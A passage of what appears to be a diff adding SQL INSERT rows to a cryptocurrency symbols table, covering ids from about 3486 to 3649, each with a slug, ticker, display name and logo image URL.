'United Emirate Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/united-emirate-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3487, 'terragreen', 'TGN', 'TerraGreen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terragreen.png', NULL); +INSERT INTO `t_symbols` VALUES (3488, 'katalyse', 'KAT', 'Katalyse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/katalyse.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3489, 'vote-coin', 'VTC', 'Vote Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vote-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3490, 'interplanetarylinkedfile', 'IPLF', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/interplanetarylinkedfile.png', NULL); +INSERT INTO `t_symbols` VALUES (3491, 'deef', 'DEEF', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/defylabs.png', NULL); +INSERT INTO `t_symbols` VALUES (3492, 'artcn', 'ARTCN', 'ARTCN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artcn.png', NULL); +INSERT INTO `t_symbols` VALUES (3493, 'dzcc', 'DZCC', 'DZCC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dzcc.png', NULL); +INSERT INTO `t_symbols` VALUES (3494, 'hb10', 'HB10', 'hb10', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hb10.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3495, 'ldxt', 'LDXT', 'ldxt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ldxt.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3496, 'pdi', 'PDI', 'Pindex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pdi.png', NULL); +INSERT INTO `t_symbols` VALUES (3497, 'sdig', 'SDIG', 'sdig', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdig.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3498, 'tomainfo', 'TON', 'TomaInfo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomaInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (3499, 'exploreoasis', 'XOS', 'OASIS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exploreoasis.png', NULL); +INSERT INTO `t_symbols` VALUES (3500, 'scudocash', 'SCUDO', 'ScudoCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scudocash.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3501, 'betking-token', 'BKT', 'BetKing Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betking-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3502, 'terra-saturn', 'STI', 'TERRA SATURN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-saturn.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3503, 'morningstar', 'MRNG', 'MorningStar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morningstar.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3504, 'allmn', 'ALMN', 'AllMN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/allmn.png', NULL); +INSERT INTO `t_symbols` VALUES (3505, 'aurumox', 'AO', 'AurumOx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurumox.png', NULL); +INSERT INTO `t_symbols` VALUES (3506, 'mykey', 'KEY', 'MYKEY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mykey.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3507, 'commercial-vitamins-token', 'VTM', 'Commercial Vitamins Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/commercial-vitamins-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3508, 'alteredstatemachine', 'ASTO', 'Altered State Machine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/alteredstatemachine.png', NULL); +INSERT INTO `t_symbols` VALUES (3509, 'klaydice', 'DICE', 'Klaydice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/klaydice.png', NULL); +INSERT INTO `t_symbols` VALUES (3510, 'arte', 'ARTE', 'Artemine', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arte.png', NULL); +INSERT INTO `t_symbols` VALUES (3511, 'cybg', 'CYBG', 'Cybergame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cybg.png', NULL); +INSERT INTO `t_symbols` VALUES (3512, 'e-chat', 'ECHT', 'e-Chat', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-chat.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3513, 'etheroll', 'DICE', 'Etheroll', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/etheroll.png', NULL); +INSERT INTO `t_symbols` VALUES (3514, 'leacoin', 'LEA', 'LeaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/leacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3515, 'nft', 'NFT', 'nft', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3516, 'qobit', 'QOB', 'Qobit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/ad7894da251d4501a0b2d5a402c5a4a0.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3517, 'sdstoken', 'SDS', 'SDS Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdstoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3518, 'starcro', 'XSC', 'Starcro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starcro.png', NULL); +INSERT INTO `t_symbols` VALUES (3519, 'tombola', 'TBL', 'tombola', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tombola.png', NULL); +INSERT INTO `t_symbols` VALUES (3520, 'sardinechain', 'SDE', 'sardinechain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/SardineChain.png', NULL); +INSERT INTO `t_symbols` VALUES (3521, 'eternode', 'ETE', 'Eternode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eternode.png', NULL); +INSERT INTO `t_symbols` VALUES (3522, 'small-coin', 'SMA', 'Small Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/small-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3523, 'acepay', 'ACEPAY', 'ACEPAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acepay.png', NULL); +INSERT INTO `t_symbols` VALUES (3524, 'whaleex', 'WAL', 'WAL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whaleex.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3525, 'konios', 'KON', 'Konios', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/konios.png', NULL); +INSERT INTO `t_symbols` VALUES (3526, 'bithostcoin', 'BIH', 'BitHostCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bithostcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3527, 'aquila', 'AQX', 'Aquila', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aquila.png', NULL); +INSERT INTO `t_symbols` VALUES (3528, 'kalkicoin', 'KLC', 'Kalkicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kalkicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3529, 'victorieum', 'VTM', 'Victorieum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/victorieum.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3530, 'litbinex-coin', 'LTB', 'Litbinex Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litbinex-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3531, 'miniswap', 'MINI', 'Mini', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/miniswap.png', NULL); +INSERT INTO `t_symbols` VALUES (3532, 'assembly', 'ASMB', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/assembly.png', NULL); +INSERT INTO `t_symbols` VALUES (3533, 'infinityarena', 'INAZ', 'Infinity Arena', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/infinityarena.png', NULL); +INSERT INTO `t_symbols` VALUES (3534, 'artex-coin', 'ATX', 'Artex Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artex-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3535, 'bitbase', 'BTBC', 'Bitbase', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbase.png', NULL); +INSERT INTO `t_symbols` VALUES (3536, 'classic-cash', 'CCC', 'classic-cash', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3537, 'cycling-coin', 'CYC', 'Cycling Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/cyclingcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3538, 'fyc', 'FYC', 'FairyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fyc.png', NULL); +INSERT INTO `t_symbols` VALUES (3539, 'pechain', 'PEC', 'PE Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pechain.png', NULL); +INSERT INTO `t_symbols` VALUES (3540, 'betrium', 'BTRM', 'Betrium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betrium.png', NULL); +INSERT INTO `t_symbols` VALUES (3541, 'grandpa-fan', 'FYY', 'GrandPa Fan', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grandpa-fan.png', NULL); +INSERT INTO `t_symbols` VALUES (3542, 'exhibit-token', 'EXBT', 'Exhibit Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exhibit-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3543, '4a-coin', '4AC', '4A Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/4a-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3544, '300cubits', 'TEU', '300cubits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/300cubits.png', NULL); +INSERT INTO `t_symbols` VALUES (3545, 'arthur-chain', 'ARC', 'Arthur Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arthur-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3546, 'koumei', 'KMC', 'Koumei', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/koumei.png', NULL); +INSERT INTO `t_symbols` VALUES (3547, 'wes-token', 'WES', 'WES Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wes-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3548, 'zombieworldz', 'ZWZ', 'Zombie World Z', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/zombieworldz.png', NULL); +INSERT INTO `t_symbols` VALUES (3549, '18c', '18C', 'Block 18', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/18c.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3550, 'artificial-intelligence-chain', 'AIC', 'artificial-intelligence-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artificial-intelligence-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3551, 'classy', 'CLASSY', 'ClassyCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/classy.png', NULL); +INSERT INTO `t_symbols` VALUES (3552, 'cyder', 'CYDER', 'Cyder', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cyder.png', NULL); +INSERT INTO `t_symbols` VALUES (3553, 'leader', 'LEADER', 'leader', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3554, 'mero', 'MERO', 'Mero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mero.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3555, 'nianlun-time-token', 'NTT', 'nianlun-time-token', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3556, 'digital-fund-coin', 'DFP', 'Digital Fund Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-fund-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3557, 'beetok', 'BTOK', 'BEETOK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beetok.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3558, 'glyno', 'GLYNO', 'Glyno', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/glyno.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3559, 'remiit', 'REMI', 'REMIIT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/remiit.png', NULL); +INSERT INTO `t_symbols` VALUES (3560, 'bliss', 'BLS', 'BLISS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bliss.png', NULL); +INSERT INTO `t_symbols` VALUES (3561, 'bitcoinv', 'BTCV', 'Bitcoin Vault', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoinv.png', NULL); +INSERT INTO `t_symbols` VALUES (3562, 'ascension', 'ASN', 'Ascension', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ascension.png', NULL); +INSERT INTO `t_symbols` VALUES (3563, 'kemcredit', 'KMC', 'KemCredit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kemcredit.png', NULL); +INSERT INTO `t_symbols` VALUES (3564, 'work-force-coin', 'WFC', 'Work Force Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/work-force-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3565, 'soda', 'SODA', 'Soda Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/soda.png', NULL); +INSERT INTO `t_symbols` VALUES (3566, 'renft', 'RENT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/renft.png', NULL); +INSERT INTO `t_symbols` VALUES (3567, 'whalemap', 'WMP', 'Whalemap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/whalemap.png', NULL); +INSERT INTO `t_symbols` VALUES (3568, 'clb', 'CLBK', 'Cloudbric', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3569, 'cyfm', 'CYFM', 'CyberFM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cyfm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3570, 'fysical', 'FYS', 'fysical', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fysical.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3571, 'leafcoin', 'LEAF', 'Leafcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/leafcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3572, 'pecunio', 'PCO', 'Pecunio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pecunio.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3573, 'took', 'TOOK', 'TOOKTOOK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/took.png', NULL); +INSERT INTO `t_symbols` VALUES (3574, 'veritag', 'VTAG', 'veritag', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vtag.png', NULL); +INSERT INTO `t_symbols` VALUES (3575, 'mfcc-token', 'MFCC', 'Marsfarmer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mfcc-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3576, 'lupecoin', 'LUPX', 'Lupecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lupecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3577, '808ta-token', '808TA', '808TA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/808ta-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3578, 'yield-coin', 'YLD', 'Yield Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yield-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3579, 'bankcoin-bcash', 'BCASH', 'BankCoin BCash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bankcoin-bcash.png', NULL); +INSERT INTO `t_symbols` VALUES (3580, 'artfinity-token', 'AT', 'Artfinity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artfinity-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3581, 'kinguin-krowns', 'KRS', 'Kinguin Krowns', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kinguin-krowns.png', NULL); +INSERT INTO `t_symbols` VALUES (3582, 'wildlife', 'WILD', 'WildLife', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wildlife.png', NULL); +INSERT INTO `t_symbols` VALUES (3583, 'brinc', 'BRQ', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/brinc.png', NULL); +INSERT INTO `t_symbols` VALUES (3584, 'ethlas', 'ELS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/ethlas.png', NULL); +INSERT INTO `t_symbols` VALUES (3585, 'arxo', 'ARXO', 'AROREX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arxo.png', NULL); +INSERT INTO `t_symbols` VALUES (3586, 'bitbook-gambling', 'BXK', 'Bitbook Gambling', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitbook.png', NULL); +INSERT INTO `t_symbols` VALUES (3587, 'clc', 'CLC', 'Cifculation', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clc.png', NULL); +INSERT INTO `t_symbols` VALUES (3588, 'cyg', 'CYG', 'Cygnus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cyg.png', NULL); +INSERT INTO `t_symbols` VALUES (3589, 'e-sports-alliance-chain-coin', 'ESA', 'e-sports-alliance-chain-coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-sports-alliance-chain-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3590, 'ethersportz', 'ESZ', 'EtherSportz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/EtherSportz.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3591, 'fz', 'FZ', 'Frozencoin Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fz.png', NULL); +INSERT INTO `t_symbols` VALUES (3592, 'sdz', 'SDZ', 'SanDianZhong', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sdz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3593, 'stash', 'STASH', 'BitStash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stash.png', NULL); +INSERT INTO `t_symbols` VALUES (3594, 'zdmt', 'ZDMT', 'zdmt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zdmt.png', NULL); +INSERT INTO `t_symbols` VALUES (3595, 'proelio', 'PEO', 'Proelio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/proelio.png', NULL); +INSERT INTO `t_symbols` VALUES (3596, 'bagstoken', 'BAGS', 'BAGS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bagstoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3597, 'lumeneo', 'LMO', 'Lumeneo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lumeneo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3598, 'elyatel', 'ELYA', 'Elya', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/elyatel.png', NULL); +INSERT INTO `t_symbols` VALUES (3599, 'cedem', 'CDE', 'Cedem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cedem.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3600, 'zxflea', 'XFLEA', 'zXFLEA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zxflea.png', NULL); +INSERT INTO `t_symbols` VALUES (3601, 'krosscoinwaves', 'KSS', 'Krosscoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/krosscoinwaves.png', NULL); +INSERT INTO `t_symbols` VALUES (3602, 'tronwin', 'WIN', 'TronWin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tronwin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3603, 'salmonswap2', 'SLM', 'SalmonSwap', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/salmon-swap.png', NULL); +INSERT INTO `t_symbols` VALUES (3604, 'exchangily', 'EXG', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exchangily.png', NULL); +INSERT INTO `t_symbols` VALUES (3605, 'pleasrdao', 'PEEPS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pleasrdao.png', NULL); +INSERT INTO `t_symbols` VALUES (3606, 'exoticmarkets', 'EXO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/exoticmarkets.png', NULL); +INSERT INTO `t_symbols` VALUES (3607, 'fusotaoprotocol', 'TAO', 'Fusotao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusotaoprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3608, 'clearcoin', 'CLR', 'Clear Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clearcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3609, 'e-token', 'ET', 'e-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3610, 'ledger-bank', 'LBK', 'LBK', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/ledger-bank.png', NULL); +INSERT INTO `t_symbols` VALUES (3611, 'meshbox', 'MESH', 'MeshBox', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meshbox.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3612, 'niko', 'NIKO', 'NIKO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niko.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3613, 'gocchain', 'GOC', 'gocchain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3614, 'fuloos', 'FLS', 'Fuloos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fuloos.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3615, 'diligence', 'IRA', 'Diligence', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/diligence.png', NULL); +INSERT INTO `t_symbols` VALUES (3616, 'buildteam', 'BUILDTEAM', 'BuildTeam', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buildteam.png', NULL); +INSERT INTO `t_symbols` VALUES (3617, 'neurodao', 'NDAO', 'NeuroDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurodao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3618, 'amigacoin', 'AGA', 'AmigaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amigacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3619, 'arbitool-token', 'ATT', 'ArbiTool Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbitool-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3620, 'kitcoin', 'KTC', 'Kitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3621, 'wishchain', 'WISH', 'WishChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wishchain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3622, 'fabcoin', 'FAB', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fabcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3623, 'gnana', 'GNANA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/apeswap.png', NULL); +INSERT INTO `t_symbols` VALUES (3624, 'dimo', 'DIMO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/dimo.png', NULL); +INSERT INTO `t_symbols` VALUES (3625, 'fzend-block-chain', 'FZB', 'FZB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fzend-block-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3626, 'nilu', 'NILU', 'Nilu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nilu.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3627, 'lino-network', 'LINO', 'lino-network', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3628, 'socialxbounty', 'SXBT', 'SOCIALXBOUNTY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/socialxbounty.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3629, 'animalitycoin', 'ANTY', 'AnimalityCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/animalitycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3630, 'yet-another-bomb', 'YAB', 'Yet Another Bomb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yet-another-bomb.png', NULL); +INSERT INTO `t_symbols` VALUES (3631, 'armageddon', 'AGDN', 'Armageddon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/armageddon.png', NULL); +INSERT INTO `t_symbols` VALUES (3632, 'lydiancoin', 'LDN', 'LydianCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lydiancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3633, 'sekopay', 'SEKO', 'SEKOPAY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sekopay.png', NULL); +INSERT INTO `t_symbols` VALUES (3634, 'africa-trading-chain', 'ATT', 'Africa Trading Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/africa-trading-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3635, 'kyvalion-token-coin', 'KTC', 'Kyvalion', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyvalion-token-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3636, 'wownero', 'WOW', 'Wownero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wownero.png', NULL); +INSERT INTO `t_symbols` VALUES (3637, 'nrv-coin', 'NRV', 'NRV Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nrv-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3638, 'fuse', 'FUSE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fusefi.png', NULL); +INSERT INTO `t_symbols` VALUES (3639, 'banana', 'BANANA', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/banana.png', NULL); +INSERT INTO `t_symbols` VALUES (3640, '22x-fund', '22X', '22x-fund', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3641, 'clf', 'CLF', 'clf', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3642, 'e2c', 'E2C', 'E2C', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/e2c.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3643, 'gac', 'GAC', 'GAChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gac.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3644, 'messengerbank-investment-token', 'MBIT', 'MessengerBank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/messengerbank-investment-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3645, 'sead', 'SEAD', 'SEADEX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sead.png', NULL); +INSERT INTO `t_symbols` VALUES (3646, 'topaz', 'TOPAZ', 'Topaz Coin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3647, 'vers', 'VERS', 'Versess Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vers.png', NULL); +INSERT INTO `t_symbols` VALUES (3648, 'xn35', 'XN35', 'Projecton', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xn35.png', NULL); +INSERT INTO `t_symbols` VALUES (3649, 